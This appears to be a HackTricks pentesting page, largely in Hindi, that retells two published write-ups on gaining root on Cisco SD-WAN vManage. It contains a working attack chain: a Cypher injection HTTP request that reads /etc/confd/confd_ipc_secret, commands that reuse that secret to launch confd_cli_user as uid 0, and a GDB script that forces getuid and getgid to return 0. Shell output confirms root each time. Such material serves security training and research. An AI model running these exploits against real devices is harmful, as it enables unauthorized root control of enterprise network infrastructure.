# Cisco - vmanage {{#include ../../banners/hacktricks-training.md}} ## Path 1 (Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) कुछ [दस्तावेज़ीकरण](http://66.218.245.39/doc/html/rn03re18.html) के माध्यम से थोड़ी खुदाई करने के बाद जो `confd` और विभिन्न बाइनरीज़ से संबंधित है (जो Cisco वेबसाइट पर एक खाते के साथ सुलभ हैं), हमने पाया कि IPC सॉकेट को प्रमाणित करने के लिए, यह `/etc/confd/confd_ipc_secret` में स्थित एक गुप्त का उपयोग करता है: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` क्या आपको हमारी Neo4j इंस्टेंस याद है? यह `vmanage` उपयोगकर्ता के विशेषाधिकारों के तहत चल रही है, जिससे हमें पिछले कमजोरियों का उपयोग करके फ़ाइल प्राप्त करने की अनुमति मिलती है: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 Host: vmanage-XXXXXX.viptela.net [...] "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` `confd_cli` प्रोग्राम कमांड लाइन तर्कों का समर्थन नहीं करता है लेकिन `/usr/bin/confd_cli_user` को तर्कों के साथ कॉल करता है। इसलिए, हम सीधे `/usr/bin/confd_cli_user` को अपने तर्कों के सेट के साथ कॉल कर सकते हैं। हालाँकि, यह हमारे वर्तमान विशेषाधिकारों के साथ पढ़ने योग्य नहीं है, इसलिए हमें इसे rootfs से प्राप्त करना होगा और इसे scp का उपयोग करके कॉपी करना होगा, मदद पढ़नी होगी, और इसे शेल प्राप्त करने के लिए उपयोग करना होगा: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret vManage:~$ /tmp/confd_cli_user -U 0 -G 0 Welcome to Viptela CLI admin connected from 127.0.0.1 using console on vManage vManage# vshell vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) synacktiv टीम द्वारा लिखे गए ब्लॉग¹ में एक रूट शेल प्राप्त करने का एक सुंदर तरीका बताया गया है, लेकिन समस्या यह है कि इसके लिए `/usr/bin/confd_cli_user` की एक प्रति प्राप्त करनी होती है, जो केवल रूट द्वारा पढ़ी जा सकती है। मैंने बिना किसी परेशानी के रूट तक पहुंचने का एक और तरीका पाया। जब मैंने `/usr/bin/confd_cli` बाइनरी को असेंबल किया, तो मैंने निम्नलिखित देखा: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80 401669: 49 89 c4 mov %rax,%r12 40166c: 48 85 db test %rbx,%rbx 40166f: b8 dc 30 40 00 mov $0x4030dc,%eax 401674: 48 0f 44 d8 cmove %rax,%rbx 401678: 4d 85 e4 test %r12,%r12 40167b: b8 e6 30 40 00 mov $0x4030e6,%eax 401680: 4c 0f 44 e0 cmove %rax,%r12 401684: e8 b7 f8 ff ff callq 400f40 <-- HERE 401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp) 40168f: e8 6c f9 ff ff callq 401000 <-- HERE 401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp) 40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi 4016a0: e8 7b f9 ff ff callq 401020 4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp) 4016ac: 48 85 c0 test %rax,%rax 4016af: 0f 84 ad 03 00 00 je 401a62 4016b5: ba ff 03 00 00 mov $0x3ff,%edx 4016ba: 48 89 c6 mov %rax,%rsi 4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` जब मैंने "ps aux" चलाया, तो मैंने निम्नलिखित देखा (_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` मैंने अनुमान लगाया कि “confd_cli” प्रोग्राम लॉग इन किए गए उपयोगकर्ता से एकत्रित उपयोगकर्ता आईडी और समूह आईडी को “cmdptywrapper” एप्लिकेशन को पास करता है। मेरा पहला प्रयास “cmdptywrapper” को सीधे चलाने का था और इसे `-g 0 -u 0` प्रदान करने का था, लेकिन यह विफल हो गया। ऐसा लगता है कि एक फ़ाइल डिस्क्रिप्टर (-i 1015) कहीं न कहीं बनाया गया था और मैं इसे नकली नहीं बना सकता। जैसा कि synacktiv के ब्लॉग में उल्लेख किया गया है (अंतिम उदाहरण), `confd_cli` प्रोग्राम कमांड लाइन तर्क का समर्थन नहीं करता है, लेकिन मैं इसे एक डिबगर के साथ प्रभावित कर सकता हूं और सौभाग्य से GDB सिस्टम पर शामिल है। मैंने एक GDB स्क्रिप्ट बनाई जहां मैंने API `getuid` और `getgid` को 0 लौटाने के लिए मजबूर किया। चूंकि मेरे पास पहले से ही deserialization RCE के माध्यम से “vmanage” विशेषाधिकार है, मुझे सीधे `/etc/confd/confd_ipc_secret` पढ़ने की अनुमति है। root.gdb: ``` set environment USER=root define root finish set $rax=0 continue end break getuid commands root end break getgid commands root end run ``` कंसोल आउटपुट: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-poky-linux". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done. Breakpoint 1 at 0x400f40 Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401871 in ?? () Welcome to Viptela CLI root connected from 127.0.0.1 using console on vmanage vmanage# vshell bash-4.4# whoami ; id root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` {{#include ../../banners/hacktricks-training.md}}